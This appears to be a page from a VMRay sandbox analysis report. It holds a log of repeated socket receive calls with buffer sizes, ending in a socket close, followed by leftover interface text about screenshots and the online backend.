Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 16416, size_out = 2654 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 13762, size_out = 2904 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 10858, size_out = 10858 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 3648, size_out = 521 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 3127, size_out = 3127 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 16416, size_out = 5812 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 10604, size_out = 10604 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 16416, size_out = 5922 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 10494, size_out = 1452 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 9042, size_out = 1452 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 7590, size_out = 7590 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 16416, size_out = 7540 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 8876, size_out = 1452 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 7424, size_out = 7424 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 16416, size_out = 5639 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 10777, size_out = 10777 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 16416, size_out = 7577 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 8839, size_out = 1452 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 7387, size_out = 7387 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 16416, size_out = 7831 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 8585, size_out = 1452 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 7133, size_out = 7133 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 16416, size_out = 3729 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 12687, size_out = 1452 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 11235, size_out = 1452 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 9783, size_out = 1452 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 8331, size_out = 8331 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 16416, size_out = 16416 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 16416, size_out = 8593 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 7823, size_out = 1452 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 6371, size_out = 2904 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 3467, size_out = 1452 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 2015, size_out = 2015 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 16416, size_out = 13203 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 3213, size_out = 1452 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 1761, size_out = 1452 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 309, size_out = 309 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 16416, size_out = 3293 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 13123, size_out = 1452 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 11671, size_out = 2904 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 8767, size_out = 1452 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 7315, size_out = 7315 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 16416, size_out = 7747 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 8669, size_out = 8669 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 16416, size_out = 8093 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 8323, size_out = 1452 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 6871, size_out = 1452 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5419, size_out = 5419 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 16416, size_out = 4055 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 12361, size_out = 1452 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 10909, size_out = 2904 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 8005, size_out = 8005 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 16416, size_out = 8433 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 7983, size_out = 7983 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 16416, size_out = 8919 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 7497, size_out = 7497 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 16416, size_out = 16416 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 16416, size_out = 12331 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 4085, size_out = 1452 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 2633, size_out = 1452 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 1181, size_out = 1181 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Close type = SOCK_STREAM True 1
Fn
Function Logfile
Download-Icon
Exit-Icon

This feature requires an online-connection to the VMRay backend.

An offline version with limited functionality is also provided.
The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy". 


    

   

   

    Before
   

   

    

     

      
       This feature requires an online-connection to the VMRay backend.
      
      

      

      An offline version with limited functionality is also provided.
      

      The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".
     

     

    

   

   

    After
   

   

    

     

      
       This feature requires an online-connection to the VMRay backend.
      
      

      

      An offline version with limited functionality is also provided.
      

      The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".
     

     

    

   

   

    

     
      

       
       
       
       
      

     
     
     
    

   

  

  

   

    
    

     Screenshot
    

    

     Expand-Icon
    

    

     Exit-Icon
    

   

   

    

     icon_left
    

    

     icon_left
    

   

   

   

   

    image